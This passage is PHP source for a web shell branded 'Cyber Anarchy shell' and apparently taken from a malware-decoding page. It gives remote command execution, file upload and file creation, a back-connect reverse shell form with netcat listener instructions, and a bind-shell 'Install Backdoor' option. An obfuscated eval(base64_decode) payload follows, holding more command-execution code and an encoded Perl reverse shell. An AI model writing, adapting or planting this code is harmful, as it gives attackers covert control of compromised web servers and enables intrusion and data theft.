"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
$imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
}
else {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
}
exit;
}
if ($x == "about") {
  echo "<a href=\"http://millikuvvetler.org\" target=_blank><font color=red>Cyber Anarchy</a> [ <font color=lime>shell</font> ]</font> <font color=lime>by WRooT</font>";
}
if ($x == "backc") {
  $ip = $_SERVER["REMOTE_ADDR"];
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
  echo("$msg");
  echo("$emsg");
}
if ($x == "shbd"){
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
  Bind Port: <input type='text' name='backconnectport' value='5992'>
  <input type='hidden' name='use' value='shbd'>
  <input type='submit' value='Install Backdoor'></form>");
  echo("$msg");
  echo("$emsg");
  echo("</center>");
}
echo "</td></tr></table>
";
?>
<div  class=barheader2><b>.: COMMANDS PANEL :.</b></div>
<table class=mainpanel>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
    <input type=hidden name=x value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
    <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
    <input type=hidden name=x value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type=hidden name="cmd_txt" value="1">
    <select name="cmd">
    <?php
    foreach ($cmdaliases as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    foreach ($cmdaliases2 as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    ?>
    </select> -
    <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<?php
}
?>
<tr><td align=right>Kernel Info:</td>
<td><form method="post" action="http://google.com/search">
    <input type="hidden" name="client" value="firefox-a">
    <input type="hidden" name="rls" value="org.mozilla:en-US:official">
    <input type="hidden" name="hl" value="en">
    <input type="hidden" name="hs" value="b7p">
    <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -
    <input type=submit name="btnG" VALUE="Search">
    </form>
</td></tr>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
    <input type=hidden name=x value="upload">
    <input type=hidden name="miniform" value="1">
    <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
    </form>
</td></tr>
<tr><td align=right>Search:</td>
<td><form method="POST"><input type=hidden name=x value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;
    <input type=submit name=submit value="Search">
    </form>
    </td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
    <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
    </form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
    </form></td></tr>
</table>
<div class=barheader2 colspan=2><font color=red>-=[ <a href="http://millikuvvetler.org" target="_blank"><font color=lime>Millikuvetler</font></a> | Generated:<font color="#66CC00"> <?php echo round(getmicrotime()-starttime,4); ?></font> seconds ]=-</font></div>
</body></html><?php chdir($lastdir); capriv8exit();

Did this file decode correctly?

Original Code

eval(base64_decode('JHNoX2lkID0gIlcxZGxZbEp2YjFRZ1UyaGxiR3hkIjsKJHNoX25hbWUgPSBiYXNlNjRfZGVjb2Rl
KCRzaF9pZCk7CiRzaF9tYWludXJsID0gImh0dHA6Ly9taWxsaWt1dnZldGxlci5vcmciOwokaHRt
bF9zdGFydCA9ICc8aHRtbD48aGVhZD4KPHRpdGxlPicuZ2V0ZW52KCJIVFRQX0hPU1QiKS4nIC0g
Jy4kc2hfbmFtZS4nPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KPCEtLQpib2R5LHRh
YmxlIHsgZm9udC1mYW1pbHk6dmVyZGFuYTtmb250LXNpemU6MTFweDtjb2xvcjpyZWQ7YmFja2dy
b3VuZC1jb2xvcjpibGFjazsgfQp0YWJsZSB7IHdpZHRoOjEwMCU7IH0KdGFibGUsdGQgeyBib3Jk
ZXI6MXB4IHNvbGlkIGJsYWNrO21hcmdpbi10b3A6MjttYXJnaW4tYm90dG9tOjI7cGFkZGluZzo1
cHg7IH0KYSB7IGNvbG9yOmxpZ2h0Ymx1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQphOmFjdGl2
ZSB7IGNvbG9yOiMwMEZGMDA7IH0KYTpsaW5rIHsgY29sb3I6IzVCNUJGRjsgfQphOmhvdmVyIHsg
dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQphOnZpc2l0ZWQgeyBjb2xvcjojOTlDQ0ZGOyB9
CmlucHV0LHNlbGVjdCxvcHRpb24geyBmb250OjhwdCB0YWhvbWE7Y29sb3I6cmVkO21hcmdpbjoy
O2JvcmRlcjoxcHggc29saWQgbGltZTsgfQp0ZXh0YXJlYSB7IGNvbG9yOmxpbWU7Zm9udDp2ZXJk
YW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCBsaW1lO21hcmdpbjoyOyB9Ci5mbGVmdCB7IGZsb2F0
OmxlZnQ7dGV4dC1hbGlnbjpsZWZ0OyB9Ci5mcmlnaHQgeyBmbG9hdDpyaWdodDt0ZXh0LWFsaWdu
OnJpZ2h0OyB9CiNwYWdlYmFyIHsgZm9udDo4cHQgdGFob21hO3BhZGRpbmc6NXB4OyBib3JkZXI6
M3B4IHNvbGlkIGJsYWNrOyBib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7IH0KI3BhZ2ViYXIgdGQg
eyB2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9CiNw
YWdlYmFyIGEgeyBmb250LXdlaWdodDpib2xkO2NvbG9yOiMwMEZGMDA7IH0KI3BhZ2ViYXIgYTp2
aXNpdGVkIHsgY29sb3I6IzAwQ0UwMDsgfQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsg
fQojbWFpbm1lbnUgYSB7IHRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiAwcHggNXB4IDBweCA1
cHg7IH0KI21haW5pbmZvLC5iYXJoZWFkZXIsLmJhcmhlYWRlcjIgeyB0ZXh0LWFsaWduOmNlbnRl
cjsgfQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQouYmFyaGVhZGVyIHsgZm9udC13ZWln
aHQ6Ym9sZDtwYWRkaW5nOjVweDsgfQouYmFyaGVhZGVyMiB7IHBhZGRpbmc6NXB4O2JvcmRlcjoy
cHggc29saWQgYmxhY2s7IH0KLmNvbnRlbnRzLC5leHBsb3JlciB7IGJvcmRlci1jb2xsYXBzZTpj
b2xsYXBzZTt9Ci5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQoubWFpbnBhbmVs
IHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6NXB4OyB9Ci5iYXJoZWFkZXIsLm1h
aW5wYW5lbCB0YWJsZSx0ZCB7IGJvcmRlcjoxcHggc29saWQgZ3JlZW47IH0KLm1haW5wYW5lbCBp
bnB1dCxzZWxlY3Qsb3B0aW9uIHsgYm9yZGVyOjFweCBzb2xpZCBibGFjazttYXJnaW46MDsgfQpp
bnB1dFt0eXBlPSJzdWJtaXQiXSB7IGJvcmRlcjoxcHggc29saWQgbGltZTsgfQppbnB1dFt0eXBl
PSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9Ci5zaGVsbCB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7
Y29sb3I6YmxhY2s7cGFkZGluZzo1cHg7IH0KLmZ4ZXJybXNnIHsgY29sb3I6cmVkOyBmb250LXdl
aWdodDpib2xkOyB9CiNwYWdlYmFyLCNwYWdlYmFyIHAsaDEsaDIsaDMsaDQsZm9ybSB7IG1hcmdp
bjowOyB9CiNwYWdlYmFyLC5tYWlucGFuZWwsaW5wdXRbdHlwZT0ic3VibWl0Il0geyBiYWNrZ3Jv
dW5kLWNvbG9yOmJsYWNrOyB9Ci5iYXJoZWFkZXIyLGlucHV0LHNlbGVjdCxvcHRpb24saW5wdXRb
dHlwZT0ic3VibWl0Il06aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9CnRleHRhcmVh
LC5tYWlucGFuZWwgaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6IzAwMDAw
MDsgfQovLyAtLT4KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KJzsKJGxvZ2luID0gIiI7IAokcGFz
cyA9ICIiOwokbWQ1X3Bhc3MgPSAiIjsKJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAKJGxvZ2lu
X3R4dCA9ICJSZXN0cmljdGVkIEFyZWEiOyAKJGFjY2Vzc2RlbmllZG1lc3MgPSAiPGJvZHkgYmdj
b2xvcj1ibGFjaz48YSBocmVmPVwiJHNoX21haW51cmxcIj48Zm9udCBjb2xvcj1saW1lPiIuJHNo
X25hbWUuIjwvZm9udD48L2E+OiA8Zm9udCBjb2xvcj1yZWQ+YWNjZXNzIGRlbmllZDwvZm9udD48
L2JvZHk+IjsKJGd6aXBlbmNvZGUgPSBUUlVFOwokZmlsZXN0ZWFsdGggPSBUUlVFOyAKJGN1cmRp
ciA9ICIuLyI7CiR0bXBkaXIgPSAiIjsgCiR0bXBkaXJfbG9nID0gIi4vIjsKJGxvZ19lbWFpbCA9
ICJ3ZWJyMDB0Lm1rdEBnbWFpbC5jb20iOyAKJHNvcnRfZGVmYXVsdCA9ICIwYSI7IAokc29ydF9z
YXZlID0gVFJVRTsgCiRzZXNzX2Nvb2tpZSA9ICJjYXByaXY4dmFycyI7IAokdXNlZnNidWZmID0g
VFJVRTsgCiRjb3B5X3Vuc2V0ID0gRkFMU0U7IAokaGV4ZHVtcF9saW5lcyA9IDg7CiRoZXhkdW1w
X3Jvd3MgPSAyNDsKJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2lu
IjsKJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7CmlmICghZW1w
dHkoJGRpc2FibGVmdW5jKSkgewogICRkaXNhYmxlZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiIiwk
ZGlzYWJsZWZ1bmMpOwogICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7
Cn0KZnVuY3Rpb24gZ2V0X3BocGluaSgpIHsKICBmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpIHsK
ICAgICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIg
Lz4nLCB0cnVlKTsKICAgIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFte
O10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7CiAgfQogIGZ1bmN0aW9uIFVfdmFsdWUoJHZh
bHVlKSB7CiAgICBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7CiAg
ICBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7
CiAgICBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOwogICAgaWYgKEBpc19vYmpl
Y3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7CiAgICBpZiAoQGlzX2FycmF5KCR2
YWx1ZSkpIHsKICAgICAgQG9iX3N0YXJ0KCk7CiAgICAgIHByaW50X3IoJHZhbHVlKTsKICAgICAg
JHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOwogICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICB9
CiAgICByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOwogIH0KICBpZiAoQGZ1bmN0
aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkgewogICAgJHIgPSAiIjsKICAgIGVjaG8gIjx0YWJs
ZT48dHIgY2xhc3M9YmFyaGVhZGVyPjx0ZD5EaXJlY3RpdmU8L3RkPjx0ZD5Mb2NhbCBWYWx1ZTwv
dGQ+PHRkPkdsb2JhbCBWYWx1ZTwvdGQ+PC90cj4iOwogICAgZm9yZWFjaCAoQGluaV9nZXRfYWxs
KCkgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICRyIC49ICI8dHI+PHRkPiIuJGtleS4iPC90ZD48
dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuIjwv
ZGl2PjwvdGQ+PHRkPjxkaXYgYWxpZ249Y2VudGVyPiIuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92
YWx1ZSddKS4iPC9kaXY+PC90ZD48L3RyPiI7CiAgICB9CiAgICBlY2hvICRyOwogICAgZWNobyAi
PC90YWJsZT4iOwogIH0KfQpmdW5jdGlvbiBkaXNwX2RyaXZlcygkY3VyZGlyLCRzdXJsKSB7CiAg
JGxldHRlcnMgPSAiIjsKICAkdiA9IGV4cGxvZGUoIlxcIiwkY3VyZGlyKTsKICAkdiA9ICR2WzBd
OwogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsKICAgICRib29sID0gJGlz
ZGlza2V0dGUgPSAkbGV0dGVyID09ICJBIjsKICAgIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2Rp
cigkbGV0dGVyLiI6XFwiKTt9CiAgICBpZiAoJGJvb2wpIHsKICAgICAgJGxldHRlcnMgLj0gIjxh
IGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4K
ICAgICAgKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUg
dGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJv
ciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+IFsiOwogICAgICBpZiAoJGxldHRlci4iOiIgIT0gJHYp
IHskbGV0dGVycyAuPSAkbGV0dGVyO30KICAgICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNv
bG9yPXllbGxvdz4iLiRsZXR0ZXIuIjwvZm9udD4iO30KICAgICAgJGxldHRlcnMgLj0gIl08L2E+
ICI7CiAgICB9CiAgfQogIGlmICghZW1wdHkoJGxldHRlcnMpKSB7UmV0dXJuICRsZXR0ZXJzO30K
ICBlbHNlIHtSZXR1cm4gIk5vbmUiO30KfQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFj
ZSIpKSB7CiAgZnVuY3Rpb24gZGlzcF9mcmVlc3BhY2UoJGN1cmRydikgewogICAgJGZyZWUgPSBk
aXNrX2ZyZWVfc3BhY2UoJGN1cmRydik7CiAgICAkdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRj
dXJkcnYpOwogICAgaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9CiAgICBpZiAoJHRv
dGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQogICAgaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0g
MDt9CiAgICBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQogICAgJHVzZWQgPSAkdG90YWwt
JGZyZWU7CiAgICAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUpLDIpLiIl
IjsKICAgICRmcmVlID0gdmlld19zaXplKCRmcmVlKTsKICAgICR0b3RhbCA9IHZpZXdfc2l6ZSgk
dG90YWwpOwogICAgcmV0dXJuICIkZnJlZSBvZiAkdG90YWwgKCRmcmVlX3BlcmNlbnQpIjsKICB9
Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c2hlbGxleGVjIikpIHsKICBpZihpc19jYWxsYWJs
ZSgicG9wZW4iKSkgewogICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkgewogICAgICBpZiAo
ISgkcD1wb3BlbigiKCRjbWQpMj4mMSIsInIiKSkpIHsgcmV0dXJuICJwb3BlbiBEaXNhYmxlZCEi
OyB9CiAgICAgIHdoaWxlICghZmVvZigkcCkpIHsKICAgICAgICAkbGluZT1mZ2V0cygkcCwxMDI0
KTsKICAgICAgICAkb3V0IC49ICRsaW5lOwogICAgICB9CiAgICAgIHBjbG9zZSgkcCk7CiAgICAg
IHJldHVybiAkb3V0OwogICAgfQogIH0gZWxzZSB7CiAgICBmdW5jdGlvbiBteXNoZWxsZXhlYygk
Y21kKSB7CiAgICAgIGdsb2JhbCAkZGlzYWJsZWZ1bmM7CiAgICAgICRyZXN1bHQgPSAiIjsKICAg
ICAgaWYgKCFlbXB0eSgkY21kKSkgewogICAgICAgIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFu
ZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHsKICAgICAgICAgIGV4ZWMoJGNtZCwk
cmVzdWx0KTsKICAgICAgICAgICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7CiAgICAgICAg
fSBlbHNlaWYgKCgkcmVzdWx0ID0gJGNtZCkgIT09IEZBTFNFKSB7CiAgICAgICAgfSBlbHNlaWYg
KGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVu
YykpIHsKICAgICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lz
dGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNo
byAkdjsKICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9h
cnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHsKICAgICAgICAgICR2ID0gQG9iX2dldF9j
b250ZW50cygpOyBAb2JfY2xlYW4oKTsgcGFzc3RocnUoJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0
X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2OwogICAgICAgIH0gZWxzZWlmIChpc19y
ZXNvdXJjZSgkZnAgPSBwb3BlbigkY21kLCJyIikpKSB7CiAgICAgICAgICAkcmVzdWx0ID0gIiI7
CiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKSB7ICRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQp
OyB9CiAgICAgICAgICBwY2xvc2UoJGZwKTsKICAgICAgICB9CiAgICAgIH0KICAgICAgcmV0dXJu
ICRyZXN1bHQ7CiAgICB9CiAgfQp9CmZ1bmN0aW9uIGV4KCRjZmUpIHsKICAkcmVzID0gJyc7CiAg
aWYgKCFlbXB0eSgkY2ZlKSkgewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAg
ICAgQGV4ZWMoJGNmZSwkcmVzKTsKICAgICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsKICAgIH0g
ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICRyZXMgPSBAc2hl
bGxfZXhlYygkY2ZlKTsKICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsK
ICAgICAgQG9iX3N0YXJ0KCk7CiAgICAgIEBzeXN0ZW0oJGNmZSk7CiAgICAgICRyZXMgPSBAb2Jf
Z2V0X2NvbnRlbnRzKCk7CiAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgIH0gZWxzZWlmKGZ1bmN0
aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICBAb2Jfc3RhcnQoKTsKICAgICAgQHBhc3N0
aHJ1KCRjZmUpOwogICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgICBAb2JfZW5k
X2NsZWFuKCk7CiAgICB9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIp
KSkgewogICAgICAkcmVzID0gIiI7CiAgICAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBA
ZnJlYWQoJGYsMTAyNCk7IH0KICAgICAgQHBjbG9zZSgkZik7CiAgICB9IGVsc2UgeyAkcmVzID0g
IkV4KCkgRGlzYWJsZWQhIjsgfQogIH0KICByZXR1cm4gJHJlczsKfQpmdW5jdGlvbiB3aGljaCgk
cHIpIHsKICAkcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsKICBpZighZW1wdHkoJHBhdGgpKSB7IHJl
dHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQp9CgokaG9zdG5hbWVfeCA9IHBocF91
bmFtZShuKTsKJGl0c2hvbWUgPSBnZXRjd2QoKTsKaWYgKCEkd2luKSB7CiAgJGl0c2hvbWUgPSBz
dHJfcmVwbGFjZSgiL2hvbWUvIiwifiIsJGl0c2hvbWUpOwogICRpdHNob21lID0gc3RyX3JlcGxh
Y2UoIi9wdWJsaWNfaHRtbCIsIi9jYS5waHAiLCRpdHNob21lKTsKfQplbHNlIHsgJGl0c2hvbWUg
PSAiIjsgfQokZW51bWVyYXRlID0gImh0dHA6Ly8iLiRob3N0bmFtZV94LiIvIi4kaXRzaG9tZS4i
IjsKCgokTHZlcnNpb24gPSBwaHBfdW5hbWUocik7CiRPU1YgPSBwaHBfdW5hbWUocyk7CmlmKGVy
ZWdpKCJMaW51eCIsJE9TVikpIHsKICAkTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwLDYpOwog
ICRtaWxsaW5rPSJodHRwOi8vbWlsdzBybS5jb20vc2VhcmNoLnBocD9kb25nPUxpbnV4IEtlcm5l
bCAiLiRMdmVyc2lvbjsKfSBlbHNlIHsKICAkTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwLDMp
OwogICRtaWxsaW5rID0iaHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0iLiRPU1Yu
IiAiLiRMdmVyc2lvbjsKfQoKJGJhY2tfY29ubmVjdF9wbCA9ICJJeUV2ZFhOeUwySnBiaTl3WlhK
c0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZq
YUc4Z0ltQjFibUZ0WlNBdFlXQWlPeWM3RFFva2MzbHpkR1Z0TVQwZ0oyVmphRzhnSW1CcFpHQWlP
eWM3RFFva2MzbHpkR1Z0TWowZ0oyVmphRzhnSW1Cd2QyUmdJanNuT3cwS0pITjVjM1JsYlRNOUlD
ZGxZMmh2SUNKZ2QyaHZZVzFwWUVCZ2FHOXpkRzVoYldWZ09uNGdQaUk3SnpzTkNpUnplWE4wWlcw
MFBTQW5MMkpwYmk5emFDYzdEUW9rTUQwa1kyMWtPdzBLSkhSaGNtZGxkRDBrUVZKSFZsc3dYVHNO
Q2lSd2IzSjBQU1JCVWtkV1d6RmRPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrZEdGeVoyVjBL
U0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRb2tjR0ZrWkhJOWMyOWphMkZrWkhKZmFX
NG9KSEJ2Y25Rc0lDUnBZV1JrY2lrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhC
eWIzUnZQV2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1RzTkNuTnZZMnRsZENoVFQwTkxSVlFz
SUZCR1gwbE9SVlFzSUZOUFEwdGZVMVJTUlVGTkxDQWtjSEp2ZEc4cElIeDhJR1JwWlNnaVJYSnli
M0k2SUNRaFhHNGlLVHNOQ21OdmJtNWxZM1FvVTA5RFMwVlVMQ0FrY0dGa1pISXBJSHg4SUdScFpT
Z2lSWEp5YjNJNklDUWhYRzRpS1RzTkNtOXdaVzRvVTFSRVNVNHNJQ0krSmxOUFEwdEZWQ0lwT3cw
S2IzQmxiaWhUVkVSUFZWUXNJQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJQ0kr
SmxOUFEwdEZWQ0lwT3cwS2NISnBiblFnSWx4dVhHNDZPaUIzTkdOck1XNW5MWE5vWld4c0lDaFFj
bWwyWVhSbElFSjFhV3hrSUhZd0xqTXBJSEpsZG1WeWMyVWdjMmhsYkd3Z09qcGNibHh1SWpzTkNu
QnlhVzUwSUNKY2JsTjVjM1JsYlNCSmJtWnZPaUFpT3lBTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1Rz
TkNuQnlhVzUwSUNKY2JsbHZkWElnU1VRNklDSTdJQTBLYzNsemRHVnRLQ1J6ZVhOMFpXMHhLVHNO
Q25CeWFXNTBJQ0pjYmtOMWNuSmxiblFnUkdseVpXTjBiM0o1T2lBaU95QU5Dbk41YzNSbGJTZ2tj
